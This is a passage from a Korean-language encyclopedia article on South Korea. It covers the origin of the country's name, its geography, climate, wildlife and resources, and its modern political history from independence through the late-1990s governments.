명시하였고 다시 1950년 1월 16일 국무원고시 제7호 '국호 및 일부지방명과 지도색 사용에 관한 건'에 의해 확정하였다.[14] 이에 20세기 전반까지도 널리 사용되던 지명으로서의 '조선'이라는 이름은 '대한'이나 '한국', '한(韓)'으로 대체되어 현재 대한민국 내에서는 자주 쓰이지 않게 되었다. 이에 따라 대한민국의 국민은 자국의 국호를 '대한민국', '한국' 등으로 부르며, 자국을 호칭할 때는 흔히 '우리나라'라고 한다. '대한'이라는 칭호를 사용하기도 하며, 한반도 북부에 자리한 조선민주주의인민공화국과 대비해 한반도 남부에 있다 하여 '남한'으로도 불리는데 특히 조선민주주의인민공화국은 이를 남조선(南朝鮮)이라고 부른다.[15] 일본, 중화인민공화국, 중화민국, 베트남 등 주로 동아시아에 있는 한자 문화권 국가들에서도 일상에서 대한민국을 간단히 한국(중국어 간체자: 韩国, 정체자: 韓國, 병음: hánguó 한궈[*], 일본어: 韓国 간코쿠, 베트남어: Hàn Quốc한 꾸옥)이라 부른다. 다만 여전히 한반도 전체를 부를 때는 조선(중국어 간체자: 朝鲜, 정체자: 朝鮮, 병음: cháoxiǎn 차오시엔[*], 일본어: 朝鮮 조센, 베트남어: Triều Tiên찌에우 띠엔)이라는 명칭을 사용한다. 현재 영어권 국가에서는 일반적으로 Korea로 불리는데, 이 명칭의 시초는 중세 왕국인 '고려'라는 국명이 수도인 개성으로 통하는 벽란도를 출입하던 아라비아 상인들에게 전해지면서 Corea로 음역 되어 전 세계에 전해진 것이다.[16] 그 후 서방에 전해져 프랑스어로 Corée, 스페인어로 Corea, 영어로 Korea라고 불리게 되었다. 현재 대한민국의 공식 영어 명칭은 Republic of Korea로서, 약칭 'R.O.K.'로도 사용된다. 대한제국 시절 공식 문서에는 Corea 또는 Korea가 혼용되어 사용되었고, 1900년대 초기부터 영어권에서는 Korea의 사용 빈도가 높아지게 되었다. 1892년 외국인이 자주 보는 잡지 〈The Korean Repository〉 5월호에는 “미국 국무부와 영국의 왕립지리학회는 우리가 차용한 이 땅의 이름을 아주 조리 있게 Korea로 표기하기 시작했던 것”이라는 내용이 나온다.[17] 다만일제강점기에 들어서는 일본의 한 지방이 된 것으로부터 Chosen이라는 일본식 명칭을 사용하기도 했다.[17] 지리 지형 대한민국의 지도 대한민국은 동해를 사이에 두고 일본 열도와, 황해를 사이에 두고 중화인민공화국과 마주하며, 육지로는 군사 분계선을 사이에 두고 조선민주주의인민공화국(북한)과 맞닿아 있다.[18] 한반도는 제3기 마이오세 이후에 일어난 단층과 요곡운동의 결과 동쪽으로는 높은 산지가 급경사로 동해안에 임박하고 서쪽으로는 서서히 고도가 낮아진다. 이를 동고서저의 경동지형이라 한다. 높은 산들은 대부분 동부 지방에 치우쳐서 한반도의 등줄기라 불리는 태백산맥에 자리한다. 태백산맥의 대표적인 산이 설악산이다. 태백산맥의 남서쪽으로 소백산맥이 이어지며 그 중에는 지리산이 유명하다. 제주도에는 대한민국에서 가장 높은 산이자 사화산인 한라산이 있다. 대한민국의 지형도 하천의 유량은 극히 불규칙하여 여름에는 집중 호우로 연 강수량의 약 60% 이상이 홍수로 유출되며, 갈수기에는 강바닥을 거의 드러내는 하천이 많다. 대표적인 강은 위쪽부터 반시계 방향으로 한강, 금강, 영산강, 섬진강, 낙동강 등이다. 대다수의 강이 산지가 많은 동쪽에서 평평하고 낮은 구릉이 대부분인 서쪽으로 흐르며 중하류에 비교적 넓은 충적평야가 전개된다. 산맥은 교통에 적지 않은 제약을 주어, 산맥을 경계로 지역의 문화나 풍습이 크게 차이가 나기도 한다. 산맥으로 가로막힌 지방은 고개를 넘어 왕래했는데 영서 지방과 영동 지방을 연결하는 태백산맥의 대관령·한계령·진부령·미시령, 중서부와 영남 지방을 연결하는 소백산맥의 죽령·이화령·추풍령·육십령 등이 산맥을 넘는 주요한 교통로로 사용된다. 한반도의 서쪽은 황해, 동쪽은 동해, 남쪽은 남해와 맞닿아 있어 삼면이 바다로 둘러싸인 반도형이며, 가장 큰 부속 도서인 제주도 남쪽으로는 동중국해와 접한다. 황해와 남해 연안은 해안선이 복잡한 리아스식 해안으로 조수 간만의 차가 클 뿐만 아니라 해안 지형도 꽤 평탄하여 넓은 간석지가 전개된다. 또한 수많은 섬이 있어서 다도해라고도 불린다. 반면에 동해 연안은 대부분 해안선이 단조롭고 수심이 깊으며 간만의 차가 적다. 해안 근처에는 사구·석호 등이 형성되어 있고 먼 해상에 화산섬인 울릉도가 있으며 그보다 동쪽으로 약 87.4km 거리에 대한민국 최동단인 독도가 위치한다. 기후 인공위성으로 촬영한 대한민국. 북위 33도~38도, 동경 126~131도에 걸쳐 있어 냉대 동계 소우 기후와 온대 하우 기후, 온난 습윤 기후가 나타난다. 겨울에 북부 지역은 편서풍으로 인해 시베리아와 몽골 고원의 영향을 받아 대륙성 기후를 띠어서 건조하고 무척 추우나 남부 지역은 이런 영향을 적게 받아 상대적으로 온난한 편이다. 여름에는 태평양의 영향을 받아 해양성 기후의 특색을 보여서 고온다습하다. 계절은 사계절이 뚜렷이 나타나며 대체로 북부 지역은 여름과 겨울이 길고 남부 지역은 봄과 가을이 길다. 4월 초에서 5월에 걸쳐 포근한 봄 날씨, 6월경에서 9월 초에는 무더운 여름이, 9월 말에서 10월 말까지는 화창하고 건조한 가을 날씨가 이어지고, 11월에 기온과 습도가 점차 낮아지기 시작하여 12월에서 2월까지는 춥고 건조한 겨울 날씨를 보인다. 중부 산간 지방을 제외하고 대체로 연 평균 기온은 10 ~ 16℃이며, 가장 무더운 달인 8월은 23 ~ 36℃, 5월은 16 ~ 19℃, 10월은 11 ~ 19℃, 가장 추운 달인 1월은 -6 ~ 3℃이다.[19] 비는 주로 여름에 많이 내리는데 연 강수량의 50 ~ 60%가 이때 집중된다. 이를 장마라고 하며 특히 6월 말에서 7월 중순까지를 장마철이라 한다. 각 지역의 연 평균 강수량은 중부 지방이 1100 ~ 1400mm, 남부 지방이 1000 ~ 1800mm, 경북 지역이 1000 ~ 1200mm이다. 경상남도 해안 지역은 약 1800mm이며 제주도는 1450 ~ 1850mm이다.[19] 습도는 7월과 8월이 높아서 전국에 걸쳐 80%정도이고 9월과 10월은 70% 내외이다. 태풍은 북태평양 서부에서 연평균 28개 정도가 발생하여, 이 중 두세 개가 영향을 미친다.[19] 동식물 대한민국의 식생 문서를 참고하십시오. 시베리아호랑이는 한국호랑이와 비슷한 종류이다. 한반도 전역에 동식물 10만여 종이 분포한다. 호랑이 중에서 가장 큰 종인 시베리아호랑이가 과거 살았었으나 현재는 보이지 않는다. 그 밖의 맹수로는 반달곰과 표범이 있으며 소수 개체군이 생존한다. 그 밖에도 멧돼지, 고라니, 너구리 등의 포유류와 까치, 꿩, 참새, 비둘기를 비롯한 텃새, 두루미, 기러기 같은 철새가 서식하며 지네나 거미, 수많은 곤충류도 있다. 삼면이 바다여서 난류와 한류에 서식하는 다양한 어패류와 고래도 존재한다. 다만 최근에는 지구 온난화로 한류성 어류가 감소하고 불가사리나 해파리가 급증해서 큰 문제가 되고 있다. 산삼이나 진달래, 소나무 등 많은 식물은 약용이나 기타 여러 용도로 쓰인다. 제주도에는 열대림과 비슷한 야자수가 번육하며 지리산이나 태백산맥에는 북방계형의 특산 식물들이 자생한다. 백두산에는 시베리아나 만주에서만 볼 수 있는 침엽수림과 같은 북방계 식물류가 자란다. 중부 지방에는 높은 산지로 말미암아 고산형 식물과 약용식물 여러 종이 자생한다. 천연자원 대한민국의 자원 문서를 참고하십시오. 시멘트 공업과 석회공업(石灰工業)의 원료인 석회암은 한국의 주요 자원으로 각지에 대량 분포해 있다. 다른 자원은 양이 적거나 품질이 낮아 채산성이 맞지 않는 탓에 거의 생산하지 않는다. 다만 21세기 이래 국제 원자재 가격의 상승과 기술의 발전으로 재개장하는 광산이 있다. 석탄은 무연탄만이 있으며 삼척, 태백 일대에 집중되어 있다. 철광석은 양양, 충주 등지에서 주로 캤다. 텅스텐은 매장량이 매우 많으며 특히 영월에 엄청난 규모의 광산이 있다. 울산 앞바다에서는 천연가스층이 발견되어 개발하고 있으며, 독도 부근 해저에는 메테인 하이드레이트가 상당량 묻혀 있는 것으로 알려져 있다. 석유는 제주도 남방 해역의 대륙붕 제7광구에 천연가스와 함께 매장되어 있을 가능성이 언급되지만[20] 실제로 탐사되지는 않았다. 이곳은 1974년에 체결한 한일 대륙붕 협정에 의해 2028년까지 한일이 공동 관리한다. 역사 이 부분의 본문은 대한민국의 역사입니다. 1948년 이전 한반도를 중심으로 한 한민족의 역사에 관해서는 한국의 역사 문서를 참고하십시오. 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2018년 7월 6일에 문단의 출처가 요청되었습니다.) 기원 이 부분의 본문은 한민족입니다. 한민족의 영산(靈山)으로 일컬어지는 백두산 천지. 한반도에 두 발로 걷고 도구를 이용하는 사람들이 살기 시작한 시기는 기원전 약 70만 년 이전으로 추정되며, 현생인류는 후기 구석기 시대인 약 2만 5천 년 전부터 해안과 강가를 중심으로 거주하기 시작한 것으로 보인다. 인골 화석으로는 충청북도 단양군 상시굴과 두루봉동굴, 제천시 점말굴 등에서 현생인류로 추정되는 사람 뼈 화석이 발견된 바 있다. 이후 중석기 시대와 신석기 시대를 거치면서 여러 빗살무늬 토기인, 무문토기인 등 여러 인종의 유입과 주변 세력들과의 상호작용을 통해 문명이 발전했다. 다만 초기 구성원들의 이동과 외부 세력 유입의 구체적 모습은 확실하지 않다. 한반도 일대의 최초의 국가는 고조선이다. 일연의 《삼국유사》에서는 현전하지 않는 《고기》를 인용하여 단군 왕검이 고조선을 세웠다고 기록하였고 《동국통감》에서 그 시기를 기원전 2333년이라 하였다. 날짜는 대종교에서 임의로 음력 10월 3일로 약속하고 개천절이라 불렀는데 대한민국 정부에서 그 날을 양력으로 고쳐 국경일로 지정하였다. 고조선 멸망을 전후하여 부여, 옥저, 동예, 진국, 삼한 등 여러 나라가 생겨났고, 이후 고구려, 백제, 신라의 삼국 시대로 이어졌으며 이 중 신라가 삼국을 부분적으로 통일하는 한편 북쪽의 발해와 함께 남북국 시대를 형성했다. 10세기 고려가 등장하면서 한민족 단일 국가의 시대를 시작했고 14세기 조선이 이를 계승했다. 근대 한국의 뿌리는 1897년에 수립된 대한제국이다.[21] 고종 황제는 나라 이름을 조선(朝鮮)에서 대한(大韓)으로 고치고, 연호를 광무(光武)라 정하고, 스스로 황제의 자리에 올랐다. 최초의 근대적 헌법인 대한국 국제를 반포하였고, 미국, 영국, 독일, 프랑스, 이탈리아, 러시아, 일본, 청나라 등과 수교하였다. 광무개혁을 단행하여 신식군대를 설치하고, 근대적 사법·토지 제도를 도입하고, 상공업을 진흥하고, 근대적 병원과 학교 및 은행 등을 설립하였다. 해외에 유학생을 파견하여 근대 산업기술을 습득하게 하고, 제조·철도·운수 등 여러 분야에서 근대적 기업과 공장을 설립하였다. 그러나 대한제국의 자주적 근대화 노력은 1895년 청일 전쟁으로 일본의 영향력이 커진 이래 간섭을 받아왔으며, 1904년에는 러일전쟁에서 일본이 승리한 뒤로 일본의 한국 병합이 본격화되었다. 1905년 을사조약을 무력으로 체결하여 외교권을 박탈하고, 1907년 고종 황제를 폐위하고, 1910년 한일 병합 조약을 통해 국권을 빼앗기며 일제 강점기로 전환, 근대적 자주국가라는 목표는 사라지고 말았다. 대한민국 임시정부 일제강점기, 대한민국 임시정부 문서를 참고하십시오. 대한민국 임시정부 국무원 기념 사진(1919년 10월 11일). 1919년 3월 1일, 한국인들은 민족대표 33인의 독립선언서 낭독을 시작으로 독립을 위한 3·1운동을 펼쳤다. 이 운동은 대체로 각 지역에서 정기적으로 열리던 장(시장)의 개장일에 맞추어 전국으로 퍼져 나갔다. 일본은 시위를 무력으로 진압하였으나 폭압 통치 방식의 한계를 느껴 헌병 경찰 통치에서 문화 통치로 전환하였다. 이는 국내외 독립운동의 새로운 전환점을 마련하게 된다. 4월 11일, 3·1운동의 정신을 이어받아 중화민국 상하이에서 대한민국 임시정부가 수립되었다. 임시정부는 대한민국 임시 헌법을 제정하여 대통령제와 3권 분립을 채택하고 한국의 독립을 위하여 외교·군사적으로 노력했다. 그러나 독립운동 노선의 갈등으로 여러 인사들이 빠져나가면서 국무령 중심의 집단지도체제로 전환하고, 일제의 방해까지 겹쳐 온갖 고난과 어려움을 겪었다. 1930년대 일본의 중국 침탈이 가속화되자 내륙으로 청사를 이전하여 중일전쟁이 한창이던 1940년에는 충칭에 정착하였다. 이후 김구를 주축으로 주석중심제로 재정비하고 조소앙의 삼균주의를 건국강령으로 채택하였다. 한국 광복군도 조직하여 1941년 12월 태평양 전쟁을 일으킨 일본에 선전포고하고 1942년 2월에는 대독 선전포고까지 하여 연합군의 일원으로 참전하고자 하였다. 1942년에는 좌파계열인 조선민족혁명당의 김규식, 김원봉 세력과 김성숙, 유림 등의 무정부주의자들이 임시정부에 합류하여 민족통일전선 형성의 기틀이 마련되었다. 1943년 버마 전선의 영국군과 연합작전을 전개하고자 공작대를 파견하여 일본군 포로 취조 및 암호 번역, 선전 전단 작성, 대적 회유 방송 등을 하였다. 미국 OSS와도 연계하여 1945년 9월을 기한으로 국내 진공 작전을 준비했으나, 8월 15일 일본이 항복하여 성사되지 못했다. 현행 대한민국 헌법 전문에는 대한국민이 3·1운동에 따라 건립된 대한민국 임시 정부의 법통을 계승한다는 문구가 삽입되었다. 군정기와 해방 정국 이 부분의 본문은 대한민국 정부 수립 및 군정기입니다. 1948년 대한민국 정부 수립 선포식 1945년 8월 15일부터 1948년 7월까지 38선 이남에서 사용한 태극기 1945년 8월 15일, 일본제국이 미국에 무조건 항복함으로써 대한민국은 일제 치하로부터 벗어나 광복을 맞이하였다. 그러나 광복 이후 한반도는 얄타회담에서 이루어진 비공식적 합의에 따라 소련과 미국의 신탁 통치하에 들어갔다. 1945년 9월에는 한반도의 북위 38도선을 경계로 남쪽은 미군이, 북쪽은 구 소련군이 포고령을 선포하여 각각 군정을 실시하면서 한반도는 남과 북으로 분단되었다. 광복 이후 여운형, 안재홍 등은 1944년 설립한 지하조직인 건국동맹을 모태로 조선건국준비위원회를 개최하였고, 9월 여운형, 박헌영 등에 의해 조선인민공화국 내각이 수립되었다. 그러나 1945년 11월 중화민국 쓰촨성 충칭에서 개인 자격으로 귀국한 대한민국임시정부 요인들과 '임정정통론' 문제로 갈등이 벌어졌고, 미군정은 맥아더 포고령에 따라 인공 내각(조선인민공화국 내각)과 임시정부를 승인하지 않음으로써 인공 내각은 해산되었다. 1945년 12월에 모스크바 3상 회의에서 신탁통치안 문제를 놓고 한반도 내에는 좌, 우익 세력간 대립이 격화되었다. 곧이어 1946년 5월에는 미소공위가 개최되었으나 양측의 주장이 엇갈려 결렬되었다. 이때 김규식, 여운형, 안재홍 등은 통일 임시정부 수립을 위해 좌우합작운동을 개시하여 미소공위를 재개하고자 하였지만, 한민당과 남로당 등 좌우익세력간에 불참으로 중도파 세력만의 운동으로 축소되었다. 1945년 12월 송진우 암살, 1947년 7월에 여운형 암살 등 해방정국의 잇단 사건으로 좌우합작운동은 실패로 끝났다. 대한민국 정부 수립 미 군정은 온건파인 김규식, 안재홍, 여운형을 통해 좌우 합작과 협상을 주도하게 했다. 그러나 헤게모니 장악에서 제외된 것에 불만을 품은 이승만, 김구, 윤치영, 박헌영, 허헌 등의 반발에 봉착하게 되었다. 이후 제2차 미소공위 마저 결렬되어버리자 미국은 한반도 문제를 UN 총회로 이관했고, 총회에서 남한 내 단독정부 수립이 결정되었다. 이에 김규식, 조소앙, 김구 등은 통일 정부를 수립하기 위해 남북협상 등을 추진하여 노력하였으나 수포로 돌아가고, 남한에서도 선거 가능한 지역에 한한 정부 수립론이 제기되면서 (정읍 발언) 사실상 남북단일 정부 수립은 불가능한 모양새가 되었다. 1948년 1월부터 한반도의 정국은 단독 정부 수립론과 남북 협상을 통한 정부 수립론을 놓고 의견이 갈라서게 되었다. 그러나 1948년 2월 38선 이북에서는 북조선인민위원회를 구성하고, 조선인민군을 창건하면서 분단은 사실상 불가피하게 되었다. 5월 10일 38도선 이남에서만 제헌 의원 총선거가 실시되어 제헌 국회가 탄생하였고, 같은 해 7월 17일에는 초대 헌법인 대한민국 제헌 헌법이 구성되었다. 7월 22일에는 국회의 간접 선거로 이승만이 초대 대통령, 이시영이 초대 부통령으로 선출되었고, 8월 15일에는 대한민국 정부 수립이 선포되었다. 위키문헌에 이 글과관련된 원문이 있습니다. United Nations General Assembly Resolution 293 12월 12일 "유엔 총회 결의 195(III) 한국의 독립 문제"에서 대한민국이 "한반도에서 유일하게 그러한 정부(the only such Government in Korea)"임을 선언하였다. 여기서 '그러한'은 대한민국이 임시위원단의 감시 하에서 주민들 대다수의 자유 의사에 따라 수립되었고, (분단상태를 고려할 때)선거가 가능했던 그 지역에 대한 유효한 지배권과 관할권을 가진 합법정부임을 뜻한다. 이미 48년 9월 9일에 한반도 이북에서는 조선민주주의인민공화국이 선포되었음에 미루어 그 해 12월의 결의는 대한민국만을 한반도에서 유일한 합법정부로 인정한 것이다. 한국 전쟁 6·25 전쟁 중 동생을 등에 업고 지나가는 소녀 이 부분의 본문은 한국 전쟁입니다. 조선민주주의인민공화국의 김일성은 남침을 기도하여 공산주의화 하려는 야망을 실현하고자 준비하였다. 소련의 지도자인 이오시프 스탈린의 승인을 받자, 1950년 6월 25일 새벽 4시에 소련에서 지원받은 수십대의 소련제 탱크를 앞세워 대한민국을 침공했다. 당시 대한민국에는 탱크의 공세를 막을 수 있는 방어책이 전혀 없었고 야포와 전투기 등 모든 것이 압도적으로 열세였기 때문에 총만 가진 거의 맨 몸의 한국군은 순식간에 밀려날 수 밖에 없었다. 그렇게 대한민국은 조선인민군이 침략한 3일만에 수도인 서울을 인민군에게 빼앗기게 된다. 치밀하게 계획하고 무장한 인민군을 상대하는 것이 계란으로 바위치기였던 한국군은 결국 밀려나 낙동강 방어선을 최후의 배수진으로 정하고 버티었다. 이 과정에서 수많은 어린 학생들(학도병들)이 무고하게 죽어나갔으며 많은 사상자와 인명피해가 초래되었다. 하지만 UN군이 파병으로 지원하고 UN군 총사령관 더글러스 맥아더가 9.15일 인천 상륙 작전을 벌여 조선인민군에 반격을 시작하자 얼마 지나지 않아 대한민국은 9월 27일에 서울을 탈환해냈다. 10월 1일에는 38도선까지 수복해서 원점으로 돌아갔다. 이 때 유엔 내부에서 맺어진 새로운 결의로 유엔군의 목적이 조선민주주의인민공화국을 완전히 공략하려는 목적으로 변경되었다. 이후 한국과 UN군은 거듭해서 10월 26일에는 압록강까지 올라갔으나 곧 이어 중화인민공화국이 인해전술을 펼치며 참전하고 소련이 군사를 지원하여 전세가 다시 역전되었고 전쟁은 장기화되었다. 이후 38도선 인근 중부 지방에서 교착을 거듭하던 1953년 7월 27일에 휴전협정이 오전 10시에 체결된 후에 효력이 발생한 22시에 완전히 전투가 종료되고 군사 분계선이 형성되면서 오늘날까지 휴전 상태가 이어지고 있다. 한국 전쟁으로 20만 명이 과부가 되었고 10만여 명 이상이 고아가 되었으며 1천만여 명 이상이 이산 가족 신세가 되었다. 한반도 내 45%에 이르는 공업 시설이 파괴된 탓에 경제적, 사회적 암흑기가 도래하여 한국과 북한의 경제 수준이 떨어졌다. 무엇보다도 이 전쟁으로 인해 남북 간에 서로에 대한 적대적 감정이 극도로 팽배하게 되어 한국의 분단이 더욱 고착화되면서, 분단한 지 70여년에 이르고 있다. 제1·2공화국 1960년 4.19 혁명. 이 부분의 본문은 제1공화국, 4·19 혁명, 및 제2공화국입니다. 한국 전쟁이 휴전 협정을 맺은 후 1950년대는 미국으로부터 지원을 받아 전후복구사업을 실시하는 가운데 경제원조체제가 성립되던 시기였다. 제1공화국 정권의 고위 관료는 부패해 국민의 불만을 샀다. 의원 내각제였던 제1대 내각에서 재선이 불가능하다 판단한 이승만은 이범석과 장택상을 비롯한 측근들과 족청계, 백골단, 땃벌떼 등을 동원하여 부산정치파동(1952년), 사사오입 개헌(1954년)을 일으키고 장기집권을 추진했다. 그러나 이범석, 장택상 등의 성장을 두려워한 이승만은 이들을 제거하고 이기붕 계열을 등용한다. 이기붕 계열은 또한 친 자유당 성향의 이정재, 임화수, 유지광 등의 정치깡패들을 활용하여 야당 의원의 집회를 탄압, 제1공화국 후반기는 혼란을 거듭했다. 그 와중에 부통령 장면의 피격 사건(1958)과 조봉암 사법살인(1959) 등의 조치까지 겸해졌고 언론의 자유마저 통제당했다. 1959년의 한일회담이 끝나자 곳곳에서 정부의 독재에 저항하는 집회가 시작, 1960년 3월 15일 부통령 선거의 부정을 계기로 국민들의 불만은 극에 달해 4·19 혁명이 발생했고, 마산 앞바다에서 며칠 전 실종되었던 김주열의 주검이 떠오르면서 시위는 격화되었다. 4월 26일 이승만 대통령이 하야를 선언하여 제1공화국은 붕괴했다. 제2공화국 국무총리 장면 4·19 혁명 이후 허정 과도 내각을 거쳐 장면을 수상으로 하는 제2공화국이 수립됐다. 제2공화국은 3차 개헌을 통해 내각책임제와 양원제를 구성했고, 언론 자유와 혁신계 정치활동을 허용했다. 제2공화국 당시 각계 각층의 통일 운동과 민주화 요구가 분출되기도 했는데, 집권 여당인 민주당 사이에서 신파와 구파가 나뉘어버려서 개혁 의지가 미약한 탓에 이러한 요구들을 수용하지 못했다. 곳곳에서 데모가 연이어 벌어졌고, 장면이 단호한 조치를 계획하던 중 1961년 5월 16일 새벽 5·16 쿠데타로 내각 각료들이 체포되면서 장면 내각은 1년 남짓밖에 집권하지 못하고 무너졌다. 그 뒤 윤보선은 형식적인 민정을 실시하였으나 군사정변 세력에게 구정치인 정화법(1962)으로 정치활동을 정지당하자 여기에 불만을 품고 사퇴(1962.3.22)함으로써 1962년 3월부터 1963년 12월까지 5·16 군사정변 세력이 설립한 국가재건최고회의가 사법권·행정권·입법권을 모두 장악하고 군정을 실시했다. 제3·4공화국 1961년 5.16 군사정변 당시 박정희. 이 부분의 본문은 대한민국 제3공화국, 대한민국 제4공화국, 및 최규하 정부입니다. 1963년 12월 5·16 군사 정변을 주도한 박정희 등에 의해 제3공화국이 수립됐다. 야당 후보인 윤보선과의 두 차례의 선거전에서 10만 표 안팎의 근소한 차로 집권하였다. 재임 초반 한일 협정을 추진하는 과정에서 공분을 사 일어난 시위를 무력 진압하며 강행했다. 1960년대 개발 독재의 일환으로 정부는 경공업 중심의 수출 주도형 발전과 한일협정·베트남 전쟁 파병 등을 통한 외화 획득으로 경제 발전을 꾀했다. 1970년대에는 중화학 공업과 전자산업을 집중적으로 육성했다. 하지만 도시와 농촌의 소득 격차, 저임금 노동과 빈부격차와 같은 문제도 남겼다. 이후 박정희 정부는 3선 개헌을 통과시키고 1971년 대선에서 3선에 성공한다. 그런데 대선에서 야당 후보가 돌풍을 일으키고 같은 해 총선에서 야당의 의석수가 2배로 늘어나는 선전을 이룬 데다가 제1차 석유 파동 등으로 경제성장도 한계를 보이기 시작하면서 정권 유지에 위기를 느낀 박정희 정부는 1972년 유신 헌법을 통과시키고, 제4공화국을 선포하였다. 1971년 대통령 선거에서 야당의 돌풍으로 불안감을 느낀 박정희는 1972년 7·4 남북공동성명을 발표하고, 통일을 준비한다는 명목으로 10월 유신을 선포해 유신체제를 수립했다. 이를 통해 대통령의 임기를 6년 연임제로 수정하는가 하면 국회의원을 대통령이 임명하게 할 수 있는 법안까지 통과시키는 등 대통령의 권한을 비정상적으로 확대시켰다. 이에 노동운동계, 재야와 학생 세력 등이 민주화를 요구하지만, 정부는 잇따른 긴급조치를 통해 억눌렀다. 하지만 민주화 운동 세력 및 노동운동가의 반발은 계속되었다. 미국이 한국의 '인권 침해'를 비판하기 시작하자 한미 간 외교적 마찰이 일어났다. 제2차 석유 파동까지 겪으면서 경제위기와 내부 혼란이 크게 가중되었다. 김영삼 의원제명 파동과 YH 무역 농성 사건, 부마 항쟁 등의 사회적 저항이 지속되었다. 이러한 일들은 권력 내부의 분열을 초래하였으며, 1979년 박정희가 중앙정보부장 김재규에게 암살되면서(10·26 사건) 박정희의 17년 장기 집권은 막을 내렸다. 10·26 사건 이후 유신 체제 하에서 국무총리 최규하가 이끄는 정부가 출범했다. 유신 헌법 폐지를 통해 민주화를 추진하려는 움직임이 나타나던 시기, 최규하 정부는 긴급조치를 해제함으로써 일부 정치적 억압을 완화했고, 1979년 12월과 1980년 2월, 1980년 4월에 대사면령을 단행하였다. 그러나 전두환을 비롯한 이들이 12월 12일에 군사반란을 일으켜 실권을 장악하였고, 급기야 최규하 대통령에게 간섭하기 시작했다. 이들은 1980년 쿠데타를 일으키면서 최규하 정부는 1980년 8월 최규하 대통령의 사임으로 붕괴되고 말았다. 제5공화국 이 부분의 본문은 대한민국 제5공화국입니다. 전두환과 하나회를 중심으로 한 신군부는 12·12 군사 반란을 일으켜 계엄 사령관을 체포하고 군부를 장악하여 실세로 떠올랐고, 민주화 일정을 지체시켰다. 1980년 초부터 국회와 정부는 유신 헌법을 철폐하기 위한 개헌 논의를 진행했고, 대학생과 재야 세력도 정치 일정 제시와 전두환 퇴진 요구를 바탕으로 민주화 시위를 벌였다. 이에 신군부는 5월 17일 비상계엄을 전국확대하면서, 이른바 '화려한 휴가'라고 불리는 포고령을 통해 '정치활동 금지', '보도검열 강화', '휴교령' 등을 선포하고 군병력을 동원해 국회를 폐쇄했다. (5.17 쿠데타) 이 과정에서 신군부는 5·17 쿠데타에 항거한 광주 민주화 운동을 공수부대 및 특전여단을 투입해 유혈진압을 하고, 5월 27일 국가보위비상대책위원회를 만들어 정국을 주도했다. 10월 27일에는 7년 단임의 대통령제를 골자로 한 제5공화국 헌법이 공포되고 이듬해 제5공화국이 출범했다.[22] 제5공화국은 경제 안정에 매진하는 한편, 1981년에는 1986년 아시안 게임, 1988년 서울 올림픽 등을 유치하기도 했다. 또한 야간통행금지 해제 및 교복 자율화 등의 유화 조치를 내걸어 국민들의 불만을 잠재우기도 했다. 한편으로 임기 중반부터 3저호황으로 인한 수출 흑자를 기록했다. 그러나 다른 한편으로는 권위주의적인 독재체제를 성립하고 민주주의 탄압 및 고문·정치사찰·용공조작으로 대변되는 인권 유린행위를 자행했으며, 정경유착·부정축재·친인척 비리가 빈발했다. 1987년 1월 박종철이 고문으로 치사하는 사건이 터지자 정부 퇴진과 민주화 요구의 목소리는 더욱 커졌다. 이에 정부는 호헌조치를 취하며 '개헌할 의도가 없음'을 내세웠고, 국민들의 민주화 요구는 더욱 빗발쳐 6월 항쟁으로 이어졌다. 마침내 전두환 대통령은 민정당 총재 노태우를 통해 6·29 선언을 발표하면서 국민의 개헌 요구를 수용했다. 개정된 헌법에 따라 치러진 제13대 대통령 선거에서는 여당 노태우가 당선되었고, 1988년 2월 취임식과 함께 제5공화국은 막을 내린다. 1988년 서울 올림픽 노태우 정부와 문민정부 이 부분의 본문은 노태우 정부 및 김영삼 정부입니다. 1987년 6월 29일, 당시 민주정의당 총재이자 대통령 후보였던 노태우가 대통령 직선제 등을 주 내용으로 하는 6·29 선언을 발표했다. 이후 여야가 합의하여 대통령 직선제 등을 골자로 한 개헌이 성사되었다. 이로써 야권의 정치 참여가 허용되었으며, 1988년 치러진 제13대 총선에서는 사상 최초의 '여소야대' 국회가 나왔다. 민주정의당은 불리한 여론을 극복하는 돌파구로 3당 합당을 추진해 민주자유당을 탄생시켰다. 또한 전두환 측근에 대한 사법조치를 단행(국정감사)하고 민간인들을 정계에 대폭 고용하기도 했다(과거와의 단절). 외교 면에서 노태우 정부는 북방정책을 추진해 구 소련을 비롯한 공산권 국가들과의 수교 등 관계 개선에 주력했다. 1991년 9월 유엔의 가맹국이 되었으며, 이어서 12월에는 남북기본합의서를 채택했다. 또한 1992년에는 지방 자치 제도를 실시하게 되었다. 그러나 노태우도 전두환처럼 군인 출신이었고, 12·12 사태를 주도하고 5공 성립 과정에 깊숙히 관여한 인물이라는 한계가 있었다. 노태우 정부도 정경유착은 물론 비자금 형성·민간인 사찰·고문 등 5공의 파쇼 정치를 그대로 답습했다(이 때문에 노태우 정권을 군사정권의 연장선으로 이해하는 시각도 있다). 이는 결국 민주화 시위(1991) 등으로 이어졌고, 노태우는 이른바 '6공 황태자'로 불리던 박철언을 후계자로 지명했지만 여당 내에서도 불만이 터져나왔으며 끝내 김영삼을 후계자로 택할 수밖에 없었다. 1993년 문민정부가 출범함으로써 노태우 정부는 막을 내렸다. 1992년 치러진 제14대 대선에서 민주자유당의 김영삼 후보가 당선되어 1993년에 취임하면서 대한민국은 이른바 문민정부 시대로 접어들었다. 이로써 윤보선 정부 이후 30여년만에 민간인 정부로 회귀했다. 문민정부는 하나회 군부 숙청, 금융실명제, 표현의 자유 허용, 역사 바로 세우기 운동, 지방자치 단체장 선거 부활, OECD 가입 등의 업적을 남겼다. 특히 군사 정변을 주도할 위험이 있는 군 내 사조직을 숙청하고, 12.12 관련자 및 5.18 관련 정치군인들을 처벌하기도 했다. 하지만 대한항공기 괌 추락 사고, 우암상가아파트, 성수대교 와 삼풍백화점 붕괴 사고 등의 대형 사고가 일어나 사회적인 혼란을 겪기도 했다. 또한 자유방임적 시장경제와 세계화를 추구하면서 준비없는 대규모 개방을 강행했고, 외환관리에 실패해 IMF 구제금융사건을 초래하였다. 결국 국민들의 높아진 요구를 충족시키지 못한 채 야당에게 정권을 이양할 수밖에 없었다. 국민의 정부와 참여정부 이 부분의 본문은 김대중 정부 및 노무현 정부입니다. 1997년 치러진 제15대 대선에서 새정치국민회의의 김대중 후보가 당선되면서 헌정 사상 최초의 평화적인 정권교체가 실현되었다. 국민의 정부가 들어서면서 당면한 가장 큰 과제는 IMF 위기의 